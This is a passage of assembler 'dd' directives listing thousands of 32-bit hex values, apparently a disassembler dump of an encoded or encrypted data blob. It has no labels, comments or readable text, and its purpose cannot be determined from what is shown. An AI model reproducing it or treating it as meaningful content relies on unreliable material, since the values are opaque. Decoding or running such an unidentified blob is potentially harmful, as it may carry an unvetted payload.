		dd 8014018h, 409D9510h,	0C3400E0Ch, 9E60329Fh, 8CF087A9h
		dd 0C2A37913h, 9F39BBF0h, 0F08AD8BAh, 1DD74D7Dh, 31991826h
		dd 0C5403830h, 979E1554h, 23E6878Fh, 0A8ED9C1Dh, 0AEC0B8B0h
		dd 0ECA7557Bh, 85E4CA5Bh, 1E1B0C85h, 0C1269430h, 0EBCB3E52h
		dd 7D627AB2h, 0A8CA4C1Bh, 0C8B0B1D8h, 822C53D0h, 62C473F0h
		dd 28207010h, 82A3030h,	660A0A01h, 66158720h, 0F0A0AEABh
		dd 0A0807C33h, 0E8E0A8D9h, 86A2C7Bh, 684AD49Bh,	4A2A385Ah
		dd 603202h, 88800879h, 0C2F198FAh, 5D3FE84Fh, 0E8D6E326h
		dd 0F785A1AFh, 29279C1Fh, 0FDCD3830h, 68564850h, 888C7BC9h
		dd 5B4F1390h, 0C82D3915h, 65E0EEC0h, 3E14CF75h,	78C0E710h
		dd 22605264h, 96F5A7AFh, 0D804E4Bh, 9CD5C750h, 0C8C1F658h
		dd 0E8F130D0h, 6D53F8F0h, 5D427D54h, 21326857h,	0D0C3126h
		dd 0DF801D17h, 0A8A5D778h, 0A47547B0h, 17E0EEEFh, 3E3B7A65h
		dd 0BDDF4F10h, 48760376h, 6A0A583Ah, 0B3F6ED8Fh, 801998A6h
		dd 5FC0B8B1h, 0E46939FBh, 0F757ACD4h, 1E1BA285h, 0CBB60B30h
		dd 5E5C0EF5h, 0DFD47870h, 931E0D6Fh, 845B886h, 6BA6BEA4h
		dd 0E672FC0Eh, 20046CEFh, 622A385Ah, 53D6CDAFh,	48057846h
		dd 403344E4h, 0C8C0BD37h, 0B7111E3h, 5E85C1CAh,	5D202E2Ch
		dd 6C3CB902h, 1A133B74h, 9A80C03h, 0A8AE0551h, 9894E8B0h
		dd 0B8B08986h, 669507A3h, 0AD202E2Bh, 473461F0h, 60442CAFh
		dd 0B4D6FDFFh, 6D4898A6h, 9B3F474Dh, 0D3A64D2Fh, 86EBF8C6h
		dd 2908DC91h, 0B7173830h, 5E5B1EC5h, 0CE158770h, 41A0AEABh
		dd 373F43D8h, 0E88A82D0h, 86AF89Ah, 2948187Ah, 0C3403C30h
		dd 38603294h, 4C0B741Ah, 0D0F67A6Fh, 0C8C08CEFh, 320811E3h
		dd 85FF070Fh, 1E355E85h, 19116A30h, 22F5A700h, 0B804E4Bh
		dd 3863B854h, 0C898E0E8h, 0E8E0E8D9h, 800F698h,	28201811h
		dd 48403830h, 68605850h, 888050D5h, 0A8A09890h,	3793EEE1h
		dd 0DEDB8A45h, 0A45953F0h, 0D355D894h, 0C583D6D2h, 5E7929C5h
		dd 1D7F2A70h, 0A896A33Ah, 0F7AC3D39h, 0FE08D8E6h, 4400F8F0h
		dd 5D4B777Fh, 21326840h, 0D0C3126h, 0E9D61D17h,	0E9C5EDFCh
		dd 5D3FE8B0h, 0E8D6E382h, 37707D79h, 74E31826h,	2D335972h
		dd 0D0D391Eh, 0E2E23714h, 0DBD4FBF5h, 9BB4EEECh, 0E894BBB5h
		dd 7A748B9Ch, 284E7D7Ch, 29254A73h, 1263D24h, 88C11D1Ch
		dd 0C9C5EAD3h, 0A186DDC4h, 89ADBDBCh, 66698880h, 6B205977h
		dd 3C215D42h, 7120835h,	0FBF31D13h, 0DAE398D1h,	0ADB4D9D5h
		dd 878DBD82h, 60549D84h, 4C417D62h, 2D327B30h, 3C052C31h
		dd 0E9E50A18h, 0DAE398F4h, 0ADB4D9D5h, 848FB784h, 786C9D98h
		dd 46732A23h, 20334851h, 2D602C3Fh, 0DCF41108h,	0C9C5EAF8h
		dd 0A186B8D4h, 81B4BDBCh, 67549D9Dh, 5C536143h,	21145555h
		dd 2E603D3Dh, 0C4E51D02h, 0C9D2FAF9h, 8FC0C1C2h, 81A6ACB5h
		dd 7C419D9Ch, 4A496A64h, 3B254C45h, 0D275811h, 0E4E93E04h
		dd 0D2C9CBF5h, 0AD87B8D5h, 84899EA4h, 6569AC95h, 4D671875h
		dd 2C2F7544h, 20053425h, 0E4E41611h, 0EFA0D9F5h, 0AD94CCD5h
		dd 81A6A8BDh, 694E9D9Ch, 28617D7Dh, 1C345D77h, 38103535h
		dd 0C9E80C11h, 0DCC5DF90h, 0BBB2DDE6h, 0E88EB7B9h, 5E749DB7h
		dd 41536A75h, 3005565Fh, 0D275811h, 0E4EF2E04h,	0E1C5F5E5h
		dd 0BAAFDEDEh, 8194B9BDh, 841969Fh, 4C41775Ch, 3A22517Ch
		dd 29192A31h, 0F8E13570h, 0DFC5F1C6h, 0A186DEFFh, 0A7E0BDBCh
		dd 4E6E9D80h, 65457479h, 21304851h, 68213F3Eh, 0E6E5083Fh
		dd 0CBCFEAC0h, 0C8B3CBD5h, 8B8FAA80h, 3B738B95h, 5A495E22h
		dd 18404C43h, 0D033722h, 0BAB30B03h, 0DCD8FDDEh, 0BCA5EBB0h
		dd 8D8CB196h, 7A748CB1h, 5C557A79h, 48014B55h, 2E143D03h
		dd 0DCE51419h, 0A8C5F5F9h, 0ADA5D4E3h, 91B3D8A0h, 65658C83h
		dd 4D4D7144h, 21065764h, 1343D3Ch, 0DD801D1Dh, 0D8C1F5FEh
		dd 0BFA5D1E6h, 81A6BE9Fh, 5E009D9Ch, 5D546A79h,	24015451h
		dd 6803373Ch, 0FCE90A27h, 0C4C9DEF5h, 0BC8EB8D5h, 9D8ABC91h
		dd 7A508C83h, 44496E79h, 3B255F55h, 0D0B3704h, 0FCCE781Eh
		dd 0C9C5EAD3h, 0A186DDC4h, 0A6E0BDBCh, 6D72BB84h, 78456C71h
		dd 2D235742h, 26602B23h, 0EDF23B04h, 0F8C5ECF1h, 0ADA3D7C2h
		dd 90A5ABA3h, 4B74B6F0h, 5C417D62h, 2B256B55h, 60F3124h
		dd 0CBF43670h, 0DCC1FDE2h, 0ADB3EDD5h, 879288A2h, 7B739D93h
		dd 65545610h, 21164851h, 0E2F2F35h, 0FCE31D23h,	0A8CEF7F9h
		dd 0B88FCCFEh, 81A6B6B5h, 46009D9Ch, 4D505764h,	2732685Eh
		dd 1B133D33h, 0EDEB1724h, 0DCEE98FEh, 0A6A5C8FFh, 9C83BD83h
		dd 86E9799h, 5A706C5Eh,	2B254C5Fh, 1A090E24h, 0E4E10D04h
		dd 0C7CDFDDDh, 86C0C1C2h, 8D9589A4h, 66498182h,	45527776h
		dd 27294C51h, 30F0C3Eh,	0C6801615h, 0C1D2CFE4h,	0A196DDC4h
		dd 8995ACA2h, 6565B59Ch, 28596A7Fh, 1D2C4C62h, 703313Eh
		dd 0FCD31D14h, 0CFCEF1E2h, 0A681D7E4h, 9CB3B1A3h, 6F6E9182h
		dd 69734F10h, 3A214C63h
		dd 68102D24h, 0FBEF1413h, 0CBCFEBF5h, 0C8B4DDDBh, 868EB7B3h
		dd 8749B95h, 40547D77h,	2A344B5Fh, 5013629h, 0EDF27815h
		dd 0DBA0EEF3h, 0C8A4D6D5h, 8383B7A3h, 41008C95h, 5A456C7Eh
		dd 0B345D5Eh, 0D13373Ch, 0ECEE1938h, 0E1A0FDFCh, 0BAA5CCDEh
		dd 0AF94BDBEh, 67438C95h, 4B45767Eh, 1B245D44h,	0D143924h
		dd 0FCEE3170h, 0CDCEEAF5h, 0ADB0F7C4h, 0A1E099BEh, 7A658C9Eh
		dd 67547D7Eh, 1D2E5D40h, 68213422h, 0EDF41639h,	0DCC5F6E2h
		dd 0ACA1DDE2h, 8D8CB196h, 5E44B9F0h, 1B694851h,	4041602h
		dd 0D32581Ch, 0E7EC3B17h, 0CDEBFDE3h, 0AD92B8C9h, 8D9097B7h
		dd 7165B39Eh, 28616055h, 19275D62h, 11123D25h, 0FDEC1926h
		dd 0E9D8DDF5h, 0AFA5EAB0h, 0BE94BD83h, 6D759491h, 28616055h
		dd 22B60B66h, 0E3360E52h, 0DA8112A4h, 0FEB8EA6Fh, 0F7B02D4Fh
		dd 2C6BD8E6h, 5856AEA6h, 3050E746h, 739EADCFh, 0ACE35866h
		dd 80422660h, 53E91590h, 0A091709Bh, 0E0D8D0h, 0B24B47Dh
		dd 2D4A187Ah, 22136861h, 38ACD355h, 0DCD0ACFBh,	0FAF1D8FAh
		dd 0CE5547E3h, 6BE0EEECh, 9DFFF434h, 2816241Eh,	8B48FCB3h
		dd 5374CDDDh, 41B37846h, 0C0F298FAh, 0C8F2B880h, 0B9B11C5Bh
		dd 5950B89Ah, 0E8A3007Ah, 462A6C38h, 6AF5A700h,	0B804E4Ch
		dd 7A93B854h, 51CF7835h, 0B03A2F12h, 5FC33AD3h,	0E9C8E723h
		dd 47BFC7CFh, 6860FDD4h, 81E82870h, 23A098E0h, 43C0D264h
		dd 80A0B21Ch, 810F8F0h,	42721A7Ah, 38495030h, 680A5850h
		dd 77D02B21h, 9E9B6E05h, 3799E7B0h, 0DEDB9E45h,	7CFF7DF0h
		dd 54AD9361h, 0AB400E25h, 68F5D55Ch, 8B804E60h,	57F3CF41h
		dd 2A453362h, 65E0EEEBh, 827037Fh, 0D70BF010h, 0CDCBC7CFh
		dd 685663AAh, 0A0C8F7FDh, 0B2489890h, 433F474Fh, 0DEDB3E55h
		dd 478F75F0h, 0C0201838h, 0B7BFC739h, 538ADDDBh, 48057846h
		dd 272DB8E4h, 0C8C090ECh, 171E2C38h, 0FA85730Fh, 0AD202E2Bh
		dd 0C54B4CF0h, 684831DFh, 765F9070h, 6F2B676Fh,	20957BEFh
		dd 0E8E0D8D0h, 18ED79ADh, 1B202E0Bh, 0D5C5B5F9h, 39606E4Eh
		dd 0D8D12924h, 3D5FC9C1h, 0C8F683C2h, 17C4DC57h, 3E3BBE65h
		dd 2CE24510h, 48A86D30h, 35605850h, 93BF95F1h, 57CA98A6h
		dd 0D3CA2D3Dh, 0BAB0D8E6h, 824D83Dh, 0ECA3183Ah, 0CD875E3Ch
		dd 68564300h, 0D4758BDh, 0A89683C2h, 0C8EAB894h, 0F28A1B8Dh
		dd 80910A8h, 6AAD1810h,	81BE9251h, 1A3A825h, 0BEBC18E5h
		dd 0A0249D90h, 5D49FAB8h, 0E8D6E4B0h, 5DC31A07h, 282018F8h
		dd 0A5C16530h, 685643C9h, 0B4E4E5FBh, 0D42398A6h, 0C7C0B094h
		dd 0E8E06154h, 0EC79F0h, 7C201812h, 48413C58h, 0F2F5A750h
		dd 3804E4Bh, 8C24156Ch,	0C8C0B9B4h, 0E0B280h, 800F8F4h
		dd 28724A46h, 0DED5C767h, 5B606E6Bh, 8C17F5B9h,	0F9A09891h
		dd 99C2D2E1h, 0E888D9BAh, 5A40F8F0h, 13428DEFh,	0CDD63806h
		dd 383B2CA6h, 89841024h, 57F79890h, 0CAE09C04h,	7D1FD8D0h
		dd 836C4B2h, 5CE09D49h,	1854DB26h, 680A8CDBh, 0DED72922h
		dd 937A0D6Fh, 4D99B886h, 0BE30AD10h, 33466D0Fh,	7FAD1826h
		dd 22176A74h, 0FFED0014h, 88807974h, 0C260AB3Bh, 6333E1A0h
		dd 0B8B08880h, 5A50A8A0h, 134A8DEFh, 8CC13806h,	68605A58h
		dd 80A40C8Fh, 94920D6Fh, 3793B886h, 0DEDCEA45h,	0CC2A5F0h
		dd 221E9810h, 0C3063945h, 5E7520DDh, 5999B70h, 9EB09805h
		dd 9E11BBB0h, 28640A2Fh, 91F70FFh, 0AC2F1810h, 48403920h
		dd 1D5A66D0h, 0B6003E60h, 0A9249790h, 48C0B8B1h, 1995F8EEh
		dd 583E79B6h, 5D675659h, 8E8FB372h, 432F5916h, 88EA29BEh
		dd 57F3CEC1h, 0FEFC9225h, 29DB81D0h, 8DF7DFFh, 0ADAD1810h
		dd 487626A1h, 6408583Ah, 0D8807870h, 823567C3h,	0F5C08E8Ch
		dd 0E8E0D8DCh, 8BF7DFFh, 99C91810h, 0C9403830h,	2132086Eh
		dd 2D057726h, 2BA09890h, 0F46CB076h, 7164D7DDh,	3400F8F0h
		dd 84D36D30h, 0CD4F020Ch, 686058DCh, 0A8A075DDh, 899DB8B0h
		dd 0BDB4DDD7h, 0C8DC74AFh, 76818485h, 5C4838EFh, 0C9314D44h
		dd 52105B2Eh, 0E0F5575Fh, 0A85FDF56h, 0D87A89BFh, 1FE0D8F7h
		dd 9DFFAA12h, 281623DAh, 1810F803h, 61880800h, 0CC807870h
		dd 0C4CEEFFFh, 0C8A4D9DFh, 0D4DA4D2Fh, 0C885F8C6h, 0E1132E64h
		dd 7424BDB9h, 315866h, 8807A70h, 0F8F6C9C1h, 0F4FE2D4Fh
		dd 7D6DD8E6h, 836E363h,	7CE92B40h, 19126861h, 1AF5A701h
		dd 0F804E4Bh, 3D5FBC94h, 0C8F683F6h, 65601B28h,	836ED9Bh
		dd 42E3E111h, 0B7415231h, 6C13A763h, 35006D8Fh,	0A896D898h
		dd 4D9ECCB1h, 0DBBAAC10h, 0BBD0732Bh, 14701B1Bh, 55F78DBDh
		dd 0D2EB5866h, 8880797Ch, 0A9A8121Bh, 30C3B8B0h, 638013FBh
		dd 69A60B3Bh, 0CA671D64h, 0CB6ED3C5h, 0E3335797h, 5C0B2FBCh
		dd 0E8CACCC0h, 37AAEAE1h, 0D4E64D2Fh, 858BF8C6h, 2816236Ah
		dd 634CFCB3h, 6F89DB9Fh, 88EA7FB7h, 0E7299878h,	87937BB3h
		dd 0A9B78C96h, 455CBDA2h, 47527B79h, 3C265743h,	6090F0Ch
		dd 0FBF71714h, 0DAD5DBCCh, 0BCAEDDC2h, 9B92BD86h, 546E9799h
		dd 44506055h, 3A254A5Fh, 1A010C50h, 0C0F41D17h,	0A8D4EBFFh
		dd 98C0B8B2h, 386FAA85h, 6C638A99h, 4D49623Eh, 24301656h
		dd 2B291650h, 0F8F0583Bh, 0CAD9FEF8h, 9DCAD9C0h, 0C8B29D83h
		dd 414FB282h, 5E06385Eh, 3D344A59h, 68880D5Ah, 0D5807870h
		dd 0B6037511h, 4D06B886h, 0E8D6CDBBh, 969507F0h, 0E9202E2Bh
		dd 743427D8h, 0DDEB463Ah, 88B64326h, 869C34C9h,	49A692C5h
		dd 9DFD27EEh, 52BD75D3h, 0A3202E2Ch, 0ED173A46h, 0EDEDFD36h
		dd 88B64FA1h, 9F571D1Fh, 413AB886h, 0A66C2296h,	9B1030Eh
		dd 49CBD7F2h, 0B7BB27D8h, 4C1CDBAFh, 0DDF57C78h, 0E8A81D56h
		dd 20C0B886h, 0E8E0D8D8h, 2643BEA3h, 286C5454h,	73EAADCFh
		dd 0A86B5866h, 0E2136F04h, 3D5FCB92h, 0C8F683E2h, 0E0941855h
		dd 48087D0Eh, 0F8DF1826h, 0B6C4D0A3h, 6388A7AFh, 0DB807870h
		dd 0E7FFDBD6h, 848496E3h, 7D1FD89Ch, 836C35Ah, 0D7DE71F8h
		dd 0BDAED0CFh, 0E59FA7AFh, 88B66AA1h, 2D2D51A3h, 0C8F6F8B4h
		dd 0B9B18981h, 5951A9A0h, 13868DEFh, 43A83806h,	3D605850h
		dd 0BBD23D23h, 0E4E4B6A2h, 5D3FB8FCh, 0E8D6E37Ah, 800F218h
		dd 58536F10h, 3C2E5142h, 38601936h, 0B3D2ED8Fh,	2D2998A6h
		dd 0C8F683EAh, 656DE9DFh, 836E181h, 14409D99h, 0B7113806h
		dd 5E5BF2C5h, 8CE8EB70h, 25A09890h, 0FED9C605h,	556D81D0h
		dd 836C4B6h, 0D7D5B7F8h, 0CD875ECFh, 6856463Ah,	2D032870h
		dd 0A89686FCh, 0E25535B0h, 0B8E0EECEh, 620192A4h, 2A484A10h
		dd 0B7C03830h, 5E5C12C5h, 0D240FD70h, 252DBAE5h, 0C8F6A6EDh
		dd 65E6B282h, 3E1E9245h, 78764C10h, 0B7126960h,	5E5C16C5h
		dd 1D7F2070h, 0A896A4D6h, 0F6A73D76h, 0E0D8E6h,	800F8FCh
		dd 6B6F4B47h, 66720B7Bh, 682C1414h, 0B32AED8Fh,	0C03398A6h
		dd 0C8C0B8B7h, 0F0356D5Dh, 8559F8C6h, 1E1C0EADh, 0BD6AD030h
		dd 6488A7AFh, 0DF807870h, 0E6E9D6D9h, 8CEEECF5h, 17E0949Ch
		dd 3E3B5265h, 27E09D10h, 48420DB4h, 6D08CB50h, 5807870h
		dd 9EB98B25h, 754DE1B0h, 0E8D6E4E2h, 0F7F40B18h, 1E9D9BEFh
		dd 48400E0Ch, 6A70DC5Fh, 64017870h, 0A8A09900h,	0C9C1D0E4h
		dd 7D1FD8D0h, 836C4E6h,	29B0DC91h, 0C3103830h, 3A603284h
		dd 0B4B6ED8Fh, 682598A6h, 0A0CDCDE9h, 0E8E0CB58h, 33CA6D0Fh
		dd 0CACB1826h, 562C85B3h
		dd 1D605866h, 0F805F559h, 0F8A0AE8Eh, 0F4E22D4Fh, 2865D8E6h
		dd 9897CFFh, 68AB1810h,	0B740B33Ch, 4E5D760h, 4E804E6Eh
		dd 9E9EFF15h, 0C8AAB9B0h, 0EA8AD9BAh, 342E6D0Fh, 0D0A31826h
		dd 28C437CFh, 0FB605851h, 96E8EDFDh, 0B8CA98A6h, 5D3FEBE2h
		dd 0E8D6E4CEh, 8D0F3875h, 28201950h, 56C285BDh,	60D15866h
		dd 777A5198h, 0A834F06Fh, 0E39EB8B0h, 0CCD45136h, 0AA9507A4h
		dd 0A5202E2Bh, 7E5EA88Dh, 8061E950h, 777F827Ah,	0B6DD0D1Dh
		dd 0C8AAB886h, 0E8E0CCB8h, 0F753AAF0h, 1E1C3285h, 6C04B530h
		dd 6CF5D544h, 0D8804E30h, 23AA2E9Fh, 9D49CF4h, 0A2E2D030h
		dd 0A4AEAF1h, 23235202h, 0C8481C74h, 88A157B1h,	0CC8B2978h
		dd 9A5F88B4h, 0A07D35E0h, 0E0EEECh, 800F8ECh, 50163635h
		dd 66601610h, 4D456270h, 0F0B85655h, 8D80E0B5h,	878AB2C3h
		dd 0E8C09699h, 529507A7h, 0A9202E2Bh, 484094F4h, 38603250h
		dd 1D7F2B27h, 0A896A4BAh, 0DD44353Bh, 0E88AD8E6h, 0C16BE313h
		dd 2DC8491Dh, 6E403830h, 686A3C75h, 0D2158727h,	2BA0AEABh
		dd 2390B474h, 0E8E7B0DBh, 0B58DF8F0h, 28160686h, 0DDBF6B67h
		dd 6856647Ah, 0DCFEB8F5h, 94C82D1Dh, 6D43B886h,	0E8D6CD54h
		dd 6F8D75F0h, 3202E2Eh,	194052FEh, 0FD9F0B06h, 88B64456h
		dd 0D6A06013h, 364B299Fh, 0D4886D5Dh, 5B0F8C6h,	3855B6E2h
		dd 0B257D050h, 1A01A7AFh, 5899B67h, 424B99E7h, 6EB773Bh
		dd 0D488655Dh, 0ACF3F8C6h, 91CBEF97h, 52D5C763h, 0E8606E6Ch
		dd 0BE9513CDh, 82D49990h, 0C8B588D8h, 227527D0h, 8800CECBh
		dd 1E1E7FADh, 59343830h, 760CDD97h, 88807846h, 2D669890h
		dd 0C8F686D7h, 16E831D0h, 8DC7070Fh, 28160D64h,	0C8403830h
		dd 68649A0Dh, 0A8CF727Dh, 0C6CFF7FEh, 0E8A6D790h, 8D86B1BCh
		dd 284FD8D1h, 4D4D7164h, 682F4C10h, 0D0C3D33h, 0FCE10A12h
		dd 0A2ADB9F5h, 0E8E09890h, 9BC097F0h, 6D6D9585h, 49473862h
		dd 26255C42h, 3A6A5571h, 0E6E51415h, 0DBC5F4E4h, 0E8B9D4C3h
		dd 9890B9B8h, 6661D889h, 50453874h, 3C235D40h, 44143631h
		dd 0E9F40B50h, 0C6C9FCFEh, 0E5E082D7h, 89B7D2DDh, 61689B84h
		dd 49007F7Eh, 2C60545Ch, 9402131h, 0E6A01C1Eh, 0DCC8FFF9h
		dd 0A7A6989Ch, 9A86F8A2h, 6C6E9D99h, 8693863h, 3C295947h
		dd 3F6A556Ah, 0EDF21D18h, 0CDD2F9B0h, 0BDAFC190h, 9A86F8FCh
		dd 6C6E9D99h, 6B002763h, 6925555Fh, 48141170h, 0FCA00B19h
		dd 89C5F5F9h, 0EFB4F190h, 898CF8A3h, 0A7219D84h, 0F840766Fh
		dd 61F91A54h, 6C70FE44h, 20B0BFF4h, 1CEC3A31h, 0CBC5B3CAh
		dd 0DAAF0CAAh, 2B40CFA2h, 2885E2CAh, 1F88A7FCh,	5E5AF309h
		dd 202607A3h, 0F4079BC6h, 0E802D47Ch, 0E8FEBB93h, 800F8F0h
		dd 28201810h, 48403830h, 68605850h, 88807870h, 0A8A09890h
		dd 0C8C0B8B0h, 0E8E0D8D0h, 800F8F0h, 28201810h,	48403830h
		dd 68605850h, 88807870h, 0A8A09890h, 0C8C0B8B0h, 67E0D8D0h
		dd 68C79068h, 17F4BD93h, 0CB403806h, 5E5F80F5h,	3F8F7870h
		dd 0FB2D8CD3h, 8377B7A8h, 6330DBD6h, 2324DCB4h,	31521452h
		dd 3B487A0Bh, 7C22D344h, 18C3A5Bh, 9E9F4C05h, 104531B0h
		dd 3E0EEEFh, 20C27BF5h,	0EA41C1F2h, 0CDC83834h,	68567C36h
		dd 88801C98h, 0A880F090h, 4D4DB8B0h, 0E8D6FB43h, 7C18C1A9h
		dd 2CE09B1Ch, 0CDBFCFD2h, 685667E4h, 8B598FB3h,	9E84FE1Dh
		dd 37D05BB0h, 0E86F24A0h, 0EA041073h, 0BBBD91E6h, 0CB400E13h
		dd 6D14586Ah, 0FA834A5Bh, 54EE1580h, 4B9EE3E8h,	0EC94D8EAh
		dd 0BEBCA0Fh, 0C0306AEFh, 0B7BFC767h, 0E54B967Bh, 88B647A8h
		dd 9CEB9BC8h, 70453773h, 2FE0EEEFh, 3E3F4C75h, 28201810h
		dd 487CD030h, 0EDEB5850h, 88B647C4h, 57560E78h,	0C8D8504Fh
		dd 5563D8D0h, 836C744h,	0A1286D10h, 7E6437ADh, 97FCB350h
		dd 0BEBFCCFDh, 2D2F5B90h, 0C8F68708h, 0D7544D59h, 0BE8F8C6h
		dd 1B201810h, 0DBCBFBF9h, 686058D0h, 766D9022h,	3DA3676Fh
		dd 0C8F68768h, 92630ED3h, 8C0FF8FCh, 28201917h,	485042B3h
		dd 689DDC5Fh, 0CA0B7870h, 6048C89Ch, 0CB3F474Eh, 0DEDF0055h
		dd 58C6FBF0h, 0D1A0109Ah, 0C8594C30h, 6B1476A9h, 3719330h
		dd 492199D8h, 171F676Fh, 0A4A42151h, 0E475F8BCh, 0ABE83349h
		dd 0C74FC2C9h, 686058E7h, 76F8F916h, 2DAFAAA3h,	0C8C0B81Bh
		dd 0E8DA5B86h, 428BFD85h, 0A322F300h, 19B13B3Ah, 979E2AB8h
		dd 50357B8Fh, 5A0AEAFh,	33B87835h, 0E8645CDFh, 0BDFFF8F0h
		dd 281627C8h, 0B615D060h, 0ED63A7AFh, 88B647A8h, 97781D1Fh
		dd 0CCC3B886h, 28638BF4h, 7DBCBF2h, 3AC310A6h, 1B60F1B0h
		dd 6C447C91h, 0A1A46459h, 0E8FBBC9Ch, 3341515Bh, 355B0FDFh
		dd 0F381C684h, 0F34E5DB8h, 0B3C10E44h, 97C16309h, 73015604h
		dd 415BA46h, 33419EC4h,	1BB83143h, 0F381E684h, 0DB78F16Dh
		dd 0B3C12E44h, 89456716h, 73017604h, 4985A7A0h,	5D3FBEC4h
		dd 0E8D6E768h, 0F77111ABh, 0AB7EE7EFh, 0A7A92CF2h, 0AB9FA7AEh
		dd 0D0841271h, 5755AE78h, 8855304Fh, 8EE0EEF6h,	0A18C948h
		dd 2BC4D8F2h, 0E326DA32h, 80385E3Ah, 777F8D6Bh,	2FA85A13h
		dd 90C5D261h, 1715D638h, 0BFA780Fh, 78901363h, 6E00BD32h
		dd 83CA5866h, 0D0E81257h, 0AB5A183Ah, 0D970A0C5h, 17143638h
		dd 801400Fh, 0FAA41810h, 0A8913544h, 9E8B92AEh,	88387D9Bh
		dd 3209890h, 45030752h,	0DED86845h, 0FFD7D3F0h,	0ADD7DBCAh
		dd 48760095h, 60605850h, 4940ED7Fh, 2D569370h, 0C8F68013h
		dd 8EE6ADD1h, 0E32571FDh, 8BA5EE03h, 4A400E08h,	65065E25h
		dd 8C6B5D41h, 8DA195F6h, 742813D6h, 631F272Fh, 9D89CCB3h
		dd 281627DCh, 0CDB7FB9Bh, 685660F5h, 80807870h,	0AC600D9Fh
		dd 5428120Ch, 611F272Fh, 3E3F2865h, 8BA5EE10h, 49400E08h
		dd 596F5C25h, 48AB7A9Bh, 2D575B3Bh, 0C8F68015h,	0E0E0D8D0h
		dd 8D8ADF84h, 2816208Fh, 2E4BD8F1h, 0E25D35Dh, 2278C8DBh
		dd 903F1D1Ah, 2801B886h, 8C87DDCBh, 3BABFE79h, 0C38B7ED0h
		dd 0C7248022h, 0E2CB5855h, 0BEB8E7F5h, 69F89C90h, 0B6BA050h
		dd 0C80B2460h, 8EB4096h, 31CBB376h, 0A0183C5Ah,	979FABAFh
		dd 49527CFDh, 0ADC69070h, 63A67839h, 7850DB3Bh,	5002925Ah
		dd 0D7D3FEF8h, 3C92BCCFh, 30683262h, 7773A298h,	0DA6A666Fh
		dd 3605CC73h, 1629AC1Ah, 0F6DB8C3Ah, 0D62C6CDAh, 0B64C4CFAh
		dd 0D86C2C9Ah, 384D9389h, 1869736Dh, 78055345h,	2B213328h
		dd 30B0457Dh, 0ADD71826h, 48760095h, 0E8605850h, 0E8307B04h
		dd 0D256F3Ah, 0C8C08E88h, 9CE8D8D0h, 835540F7h,	678B18FCh
		dd 70E5BDC7h, 68635866h, 0C8F7970h, 0A8A09847h,	636A5000h
		dd 0D75C6559h, 0E0B0F8C6h, 95A9B3BAh, 487607F0h, 50C5DDA7h
		dd 88837846h, 0BDD49890h, 0F0653D47h, 0E8E0D8E6h, 0D74F9F0h
		dd 0D7DED9F8h, 0E2A988CFh, 0D4E5D3FBh, 3804E4Fh, 2168B35Fh
		dd 0FEFF7C0Dh, 14A851D0h, 0F7649F48h, 0E813B326h, 0CDB79356h
		dd 685660F5h, 88807873h, 2D5696E4h, 0C8F68013h,	0E5AC50h
		dd 0F7FF06B2h, 0A1447FA8h, 88739316h, 0ED97F336h, 88B640D5h
		dd 0A8A09893h, 4D36EDC4h, 0E8D6E073h, 0E0058D70h, 0D7DFE60Eh
		dd 0B7BD9CD8h, 8040E8AFh, 777F83C6h, 10C6A173h,	63A6AD4Fh
		dd 7D6B7341h, 836C055h,	0EAD7CAE7h, 48403833h, 16884C25h
		dd 387F878Dh, 5330708Fh, 70A6474Fh, 4386CD2Fh, 0C78B5361h
		dd 17E49D9Bh, 806B3806h
		dd 9F9C10D9h, 0BEB8DDF5h, 0A8A09B90h, 3FEECCB0h, 0DED87D55h
		dd 800F8F0h, 0DF026C16h, 7E789DB5h, 68605850h, 60850D71h
		dd 575F6562h, 0F0653D47h, 0E8E0D8E6h, 0D74FCF0h, 0D7DE15F8h
		dd 0EDC5CFCFh, 6C606E68h, 0FC807870h, 56C77087h, 0E178474Fh
		dd 43282610h, 7CC0F048h, 5D98B314h, 0E327D3C8h,	50C5DDA7h
		dd 88887846h, 0E7D59890h, 0F0630530h, 9CE0D8E6h, 0F63B10B6h
		dd 198E7EFh, 42891128h,	5E58C7F5h, 8B64B870h, 903F3D9Ah
		dd 786BB886h, 6D6A7261h, 836C053h, 2260A8BAh, 7E78A7B5h
		dd 0D006F250h, 0D778592h, 0A896A035h, 0C8C0B8A0h, 0A150DFA4h
		dd 7DB89E5Ah, 988B7EECh, 887392D8h, 0C0DDD1FBh,	7F804E4Fh
		dd 9E983D15h, 0C8C098B0h, 58E9ADD0h, 9585F2A8h,	82202E28h
		dd 88C18056h, 50C5DDA7h, 88C07846h, 0ABD49890h,	0C2E87C30h
		dd 0DED84575h, 81AB9EF0h, 1E1FB4ADh, 0CDB79330h, 685660F5h
		dd 0C8807870h, 0F81091E5h, 0F05D3DB2h, 1F4AD8E6h, 3E385D75h
		dd 28209810h, 0F84B4D30h, 0F6E552E8h, 22804E48h, 10C6A57Bh
		dd 4D37A081h, 0E8D6E075h, 800F9F0h, 1901A64h, 70DE9D3Ah
		dd 8CA05866h, 16257273h, 0CEA0AEA8h, 4978DE1Bh,	4D652F20h
		dd 800CEC8h, 5D201812h,	42888C32h, 5E58C6F5h, 12B1E70h
		dd 9E9F502Dh, 0E07000B0h, 1F4BD8D0h, 3E385D75h,	28201010h
		dd 0A0314C30h, 979FA561h, 0B025FD87h, 0ACA098A6h, 0C3B5B8B0h
		dd 6DEA6060h, 836C06Fh,	0DF6DF3BAh, 7E789DB5h, 68685850h
		dd 0EE910D70h, 0A2401B28h, 0FEF82715h, 0DB4BBED0h, 1DEB5230h
		dd 3009A076h, 70DF9D3Ah, 8CA05866h, 17257273h, 0CEA0AEA8h
		dd 6D454F1Bh, 0E8E0EEE8h, 6E00F8E0h, 5CE099A8h,	4084B833h
		dd 50FFFD5Ah, 23E67846h, 0B252E9Fh, 63C08E88h, 171C1838h
		dd 0AD850F0Fh, 28202E28h, 3C003830h, 6A30E859h,	0BEB8E5F5h
		dd 2D573290h, 0C8F68015h, 0E8E0F8D0h, 0A757E40h, 67AD1C14h
		dd 0D5E5B2CEh, 0E1606E68h, 0BEBFC8FDh, 280BFE90h, 0CFB5BD4Ch
		dd 0A760D860h, 0E0AAB80Fh, 0D7DFE469h, 70E5BDC7h, 28605866h
		dd 30E67870h, 0AAD5A9F6h, 63A69104h, 6DEAC060h,	836C06Fh
		dd 8223F8D0h, 0B7BC6CD8h, 9FE8E8AFh, 0BEB8DDF5h, 0A8209890h
		dd 78C2CDB0h, 75455256h, 6E00CEC8h, 2DDC98BBh, 48F03F45h
		dd 289F17D0h, 74AB90DAh, 2D57676Fh, 0C8F68015h,	0E8E1D8D0h
		dd 48B0F385h, 10BD9D1Ah, 0A3EA3806h, 0EBD83E5Fh, 152572B0h
